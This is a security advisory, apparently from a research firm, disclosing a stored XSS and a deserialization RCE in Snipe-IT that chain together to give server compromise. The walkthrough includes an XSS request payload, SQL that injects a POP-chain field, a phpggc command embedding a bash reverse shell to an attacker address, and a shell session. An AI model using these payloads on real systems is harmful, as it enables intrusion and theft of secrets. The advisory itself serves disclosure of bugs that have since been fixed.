Security vulnerabilities in Snipe-IT
02/10/2025 - Téléchargement
Product
Snipe-IT
Severity
High
Fixed Version(s)
8.1.18
Affected Version(s)
See section "Affected versions"
CVE Number
CVE-2025-59712, CVE-2025-59713
Authors
Description
Presentation
Two vulnerabilities in the Snipe-IT web application have been found, allowing a low-privileged user to perform remote code execution on the underlying server hosting the Snipe-IT instance by chaining the two vulnerabilities.
Issue(s)
- Stored XSS in the
User-Agent
field of an action log upon user profile edit - Remote code execution (RCE) through the
unserialize
function in theActionlogTransformer.php
file
Affected versions
All versions before 8.1.18.
Timeline
Date | Description |
---|---|
2025.06.30 | Advisory sent to Snipe-IT security team |
2025.07.02 | CVE-2025-59712 fixed in commit 8bc067b |
2025.07.02 | CVE-2025-59713 fixed in commit 8a682be |
2025.07.08 | Release of Snipe-IT v8.1.18 (fixed) |
2025.10.02 | Security advisory publication |
Technical details
CVE-2025-59712 - Stored XSS in the User-Agent HTTP header field of an action log
Description
A stored Cross-Site-Scripting (XSS) vulnerability has been found in the User-Agent
HTTP header field of an action log, which can be triggered by an administrator user by visiting the /reports/activity
route.
Indeed, users can update their profile by performing a POST request on the /account/profile
route. When doing so, such a user can update their name, first name, email address and other personal information. This information is logged in the database used by Snipe-IT as action logs, which can be reviewed by an administrator user when calling the /reports/activity
route.
An update in a user’s profile will generate an action log, which will store the value of the User-Agent
header that was used to perform the update request. However, the Snipe-IT web application does not sanitize the value of this header, leading to JavaScript injection. Below is an example of such a request, containing a malicious script
tag in the User-Agent
header:
POST /account/profile HTTP/1.1
Host: 192.168.56.6:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0<script>alert(1);</script>
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------1835082088987473178104522967
Cookie: XSRF-TOKEN=eyJpdiI6[...]IjoiIn0%3D; snipeit_session=4**************************************E; _csrf_token=OePtIgYLcOFNKdMkjQ9Jp1wJb93tKZFmL8B5kHba
Content-Length: 1223
-----------------------------1835082088987473178104522967
Content-Disposition: form-data; name="_token"
OePtIgYLcOFNKdMkjQ9Jp1wJb93tKZFmL8B5kHba
-----------------------------1835082088987473178104522967
Content-Disposition: form-data; name="first_name"
John-update
-----------------------------1835082088987473178104522967
Content-Disposition: form-data; name="last_name"
Doe
-----------------------------1835082088987473178104522967
Content-Disposition: form-data; name="locale"
[...]
When an administrator user, or a user that has explicit view permissions for reports, visits the /activity/reports
URL and ticks the User-Agent
checkbox, the XSS payload will be triggered, as shown on the screenshot below:

Impact
The present vulnerability can be exploited by a low-privileged user to trigger a backup of the Snipe-IT web application using a JavaScript script loaded by the victim’s browser. This script can be served by a rogue HTTP server, or included as an inline script directly in the update request, and will be executed in the context of the victim’s browser. In a default Snipe-IT installation, the .env
file containing various secrets related to the configuration of the web application (such as the APP_KEY
or the credentials to connect to the underlying database) is included in ZIP file generated when the backup is triggered. This file can then be exfiltrated by the malicious JavaScript script on the rogue HTTP server, and the secrets can then be recovered.
Additionally, the backup includes a folder called db-dumps
, containing a dump of the database named mysql-snipeit.sql
. The ZIP file downloaded in the browser of the victim can be exfiltrated to perform the following actions:
- Parse the SQL script to extract user password hashes and try to bruteforce them offline.
- Edit the
mysql-snipeit.sql
and add arbitrary SQL statements, such as adding a new administrator user for instance. This script will be executed by the database upon a successful backup restore, which can be done by calling the/admin/backups/upload
route to upload a modified ZIP file, and the/admin/backups/restore
route followed by the edited backup file name to restore it. - Extract the
.env
file from the backup ZIP file to harvest the various secrets configured within the file, such as theAPP_KEY
, the database credentials or other sensitive secrets that might be stored in this file.
CVE-2025-59713 - Remote Code Execution (RCE) as administrator through deserialization
Description
A call to the unserialize
function in the Http/Transformers/ActionlogsTransformer.php
file can allow an administrator user to perform code execution on the underlying server hosting the Snipe-IT instance.
Indeed, as an administrator, it is possible to generate a backup of the Snipe-IT instance. The generated ZIP will contain, as explained previously, various files including an SQL script used to stage the database upon a backup restore. By default, on a fresh Snipe-IT install, the value of the BACKUP_ENV
environment variable is set to true. Therefore, the .env
file will be included in the ZIP backup file. The .env
file contains the APP_KEY
environment variable, whose value is used to encrypt and decrypt data used by Laravel through the decryptString
and encryptString
functions.
The ActionlogsTransformer.php
file is called when visiting the /reports/activity
route, which performs an API call to /api/v1/reports/activity
. This file is used to handle the formatting of the data that will be passed to the frontend. It first looks through all the actions logs stored in the action_logs
table in the database, and if the log_meta
field is set for the current action log, it will execute the following code:
foreach ($meta_array as $fieldname => $fieldata) {
$clean_meta[$fieldname]['old'] = $this->clean_field($fieldata->old);
$clean_meta[$fieldname]['new'] = $this->clean_field($fieldata->new);
// this is a custom field
if (str_starts_with($fieldname, '_snipeit_')) {
foreach ($custom_fields as $custom_field) {
if ($custom_field->db_column == $fieldname) {
if ($custom_field->field_encrypted == '1') {
unset($clean_meta[$fieldname]);
unset($clean_meta[$fieldname]);
$enc_old = '';
$enc_new = '';
if ($this->clean_field($fieldata->old != '')) {
try {
$enc_old = Crypt::decryptString($this->clean_field($fieldata->old));
} catch (Exception $e) {
Log::debug('Could not decrypt old field value - maybe the key changed?');
}
}
if ($this->clean_field($fieldata->new != '')) {
try {
$enc_new = Crypt::decryptString($this->clean_field($fieldata->new));
} catch (Exception $e) {
Log::debug('Could not decrypt new field value - maybe the key changed?');
}
}
if ($enc_old != $enc_new) {
$clean_meta[$fieldname]['old'] = "************";
$clean_meta[$fieldname]['new'] = "************";
// Display the changes if the user is an admin or superadmin
if (Gate::allows('admin')) {
$clean_meta[$fieldname]['old'] = ($enc_old) ? unserialize($enc_old) : '';
$clean_meta[$fieldname]['new'] = ($enc_new) ? unserialize($enc_new) : '';
}
}
}
}
}
}
}
In database, an action log is built as follows:
$ mysql -u root
[...]
MariaDB [snipeit]> select * from action_logs\G;
[...]
*************************** 425. row ***************************
id: 425
created_by: 60
action_type: update
target_id: 60
target_type: App\Models\User
location_id: NULL
note: NULL
filename: NULL
item_type: App\Models\User
item_id: 60
expected_checkin: NULL
accepted_id: NULL
created_at: 2025-06-26 21:31:42
updated_at: 2025-06-26 21:31:42
deleted_at: NULL
thread_id: NULL
company_id: NULL
accept_signature: NULL
log_meta: {"first_name":{"old":"ninja","new":"ninja-update"}}
action_date: 2025-06-26 21:31:42
stored_eula: NULL
action_source: gui
remote_ip: 192.168.56.1
user_agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
425 rows in set (0.002 sec)
If the JSON data contained within the current log_meta
field holds a key starting with the _snipeit_
prefix, and its value corresponds to a custom field defined in the database, the value of the new
key in the JSON data will be decrypted. Upon successful decryption, and as long as the values of the new
and old
keys differ from each other, the decrypted value will be passed to the unserialize
function. For example, the new
key in the following log_meta
field would trigger its value to be deserialized:
$ mysql -u root
[...]
MariaDB [snipeit]> select * from action_logs\G;
*************************** 422. row ***************************
[...]
log_meta: {"_snipeit_customfieldrce_99":{"old":"nonrelevantinformation","new":"eyJpdiI6IldGO[...]FnIjoiIn0="}}
[...]
It is to be noted that the referenced field needs to have the flag encrypted
set to true
for the deserialization to work.
Impact
In this configuration, it is possible for an administrator to trigger the backup of the Snipe-IT instance, download the associated ZIP file and edit the mysql-snipeit.sql
script present within the downloaded archive by appending the following lines:
INSERT INTO `custom_fields` (`name`, `element`, `help_text`, `field_values`, `field_encrypted`, `db_column`, `show_in_email`, `is_unique`, `display_in_user_view`, `auto_add_to_fieldsets`, `show_in_listview`, `show_in_requestable_list`, `display_checkin`, `display_checkout`, `display_audit`, `format`, `updated_at`, `created_at`) VALUES ('customfieldrce', 'text', '', NULL, '1', '_snipeit_customfieldrce_99', '0', 0, '0', 0, 0, 0, 0, 0, 0, '', '2025-06-18 13:34:15', '2025-06-18 13:34:15');
UPDATE `action_logs` SET `log_meta` = '{"_snipeit_customfieldrce_99":{"old":"nonrelevantinformation","new":"<Laravel POP chain>"}}' ORDER BY id DESC LIMIT 1;
The value of the POP chain placeholder in the above SQL statement can be generated using the phpggc tool:
$ POPCHAIN=$(phpggc -a Laravel/RCE17 exec "bash -c '/bin/bash -i >& /dev/tcp/192.168.56.1/1234 0>&1'" | tr -d '\n' | base64 -w0)
The generated base64-encoded value can then be fed to the laravel-crypto-killer tool, providing the APP_KEY
present in the .env
file:
$ python3 laravel_crypto_killer.py encrypt --key "base64:wqB6r+acaQXuhIzMAaqK+T/3vDWzilmtjK/c/P0d3UA=" -v $POPCHAIN
[+] Here is your laravel ciphered value, happy hacking mate!
eyJpdiI6ICJrZ1V[...]FnIjogIiJ9
The edited mysql-snipeit.sql
script can be added to a new ZIP file following the following structure:
$ unzip -l edited-backup.zip
Archive: edited-backup.zip
Length Date Time Name
--------- ---------- ----- ----
0 2025-06-26 18:56 db-dumps/
0 2025-06-26 18:56 db-dumps/mysql-snipeit.sql
--------- -------
0 2 files
This edited ZIP file can now be uploaded on the backup page and a restore can be launched. The resulting cipher will be decrypted and deserialized when visiting the /reports/activity
route, or by calling directly the /api/v1/reports/activity
endpoint, which will execute the command passed to the exec()
function defined in the Laravel POP chain:
$ nc -nlvp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.56.6 40158
bash: cannot set terminal process group (233): Inappropriate ioctl for device
bash: no job control in this shell
www-data@fc1e1ae8c4c0:/var/www/snipe-it/public$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@fc1e1ae8c4c0:/var/www/snipe-it/public$ pwd
pwd
/var/www/snipe-it/public
www-data@fc1e1ae8c4c0:/var/www/snipe-it/public$
Synacktiv developed an automated exploit as a Python script aimed at chaining both vulnerabilities together (XSS followed by the deserialization) to demonstrate a scenario in which a low-privileged user obtains remote code execution on the Snipe-IT server. The requirements to successfully perform the full chain exploit are as follows :
- The
.env
file has to be included in the ZIP file upon backup trigger (set by default). - The CSP policy must be configured to allow untrusted origins or fully disabled (set by default). This is not a blocking factor to exploit the present vulnerability, as the exploit can be adapted to stage the database with an inline script instead of loading it from an external source.
- Credentials for a low-privileged user must be known.
- An administrator or superuser has to visit the
/reports/activity
route.
The following steps are performed:
- The script authenticates as the low-privileged user, and updates their profile to create an action log in the database containing a malicious JavaScript payload.
- Once an administrator visits the
/reports/activity
page, the JavaScript payload is executed and theexploit.js
file is downloaded by the victim’s browser from a rogue HTTP server hosted by the Python script. It also downloads additional dependencies for ZIP file handling and cryptographic primitives. - The
exploit.js
script will then, with the identity of the victim:- Trigger a backup of the website.
- Read the content of the
.env
file to get the value of theAPP_KEY
variable. - Edit the SQL script contained within the ZIP file to add a new administrator to the database, create a new custom field with the
encrypted
flag set totrue
and update the latest action log with JSON data containing the Laravel POP chain mentioned above. - Create a new ZIP file containing the edited SQL script, upload it and trigger the restore of the Snipe-IT instance from this backup.
- Upon successful restore, send a callback request to the Python HTTP server to notify that it can now log in as the newly created administrator user to call the route used to trigger the RCE.
- The Python script will then trigger the RCE and the payload passed to the POP chain will be executed.
This mode can be executed with the fullchain
subcommand, as shown on the screenshot below:
Two other modes are also available:
xss
: Exploits CVE-2025-59712 by injecting theUser-Agent
header with JavaScript content sourced from a file given as a parameter. Low-privileged user's credentials must be supplied.rce
: Exploits CVE-2025-59713 by triggering a Snipe-IT instance restore from an edited backup file and calling the/api/v1/reports/activity
route to trigger the RCE. Admin or superuser credentials must be supplied.
The proof of concept script is available on Synacktiv's GitHub.